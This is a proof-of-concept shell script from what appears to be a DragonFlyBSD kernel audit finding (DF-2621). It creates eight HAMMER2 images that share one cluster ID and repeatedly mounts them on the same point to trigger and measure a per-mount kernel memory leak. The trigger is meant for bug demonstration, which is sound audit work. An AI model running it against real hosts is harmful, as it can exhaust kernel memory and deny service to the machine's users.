DragonFlyBSD Kernel Audit
DF-2621 / trigger3.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2621 trigger v3 (amplification): quantify the per-merge leak with 8
# same-clid devices.  NO umount (avoids the unrelated teardown wedge) - the
# leak accumulates while the first device stays mounted.
D=/root/poc/df2621
LOG=$D/run3.log
exec > $LOG 2>&1
set -x

for i in 0 1 2 3 4 5 6 7; do vnconfig -u vn$i 2>/dev/null; done
ls /dev/vn* || (cd /dev && sh MAKEDEV vn0 vn1 vn2 vn3 vn4 vn5 vn6 vn7 2>/dev/null; ls /dev/vn*)

rm -f $D/base.img $D/c[1-7].img
truncate -s 64M $D/base.img
newfs_hammer2 -L testvol $D/base.img
i=1
while [ $i -le 7 ]; do
	dd if=$D/base.img of=$D/c$i.img bs=1m 2>/dev/null
	i=$((i+1))
done

vnconfig -c vn0 $D/base.img
i=1
while [ $i -le 7 ]; do
	vnconfig -c vn$i $D/c$i.img
	i=$((i+1))
done
mkdir -p /mnt/h2

zmem() {
	vmstat -m | grep -i 'HAMMER2-mount' || true
}
tcnt() {
	ps axlw | grep "h2xop-testvol" | grep -v grep | wc -l
}

echo "=== 0. baseline ==="
zmem
echo -n "T0="; tcnt
vmstat -m | grep -i hammer2 > $D/z3.base

echo "=== 1. mount vn0 ==="
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT1_RC=$?
zmem
echo -n "T1="; tcnt

echo "=== 2. seven same-clid merges (each EBUSY, each leaks) ==="
i=1
while [ $i -le 7 ]; do
	mount -t hammer2 -o ro /dev/vn$i@testvol /mnt/h2
	echo "MOUNT_vn${i}_RC=$?"
	echo -n "T_m$i="; tcnt
	zmem
	i=$((i+1))
done

echo "=== 3. totals ==="
vmstat -m | grep -i hammer2 > $D/z3.after
echo "--- before ---"; cat $D/z3.base
echo "--- after  ---"; cat $D/z3.after
echo -n "T_final="; tcnt
echo -n "mem in HAMMER2-mount zone: "
vmstat -m | grep -i 'HAMMER2-mount' | awk '{print $3}'
echo TRIGGER_V3_DONE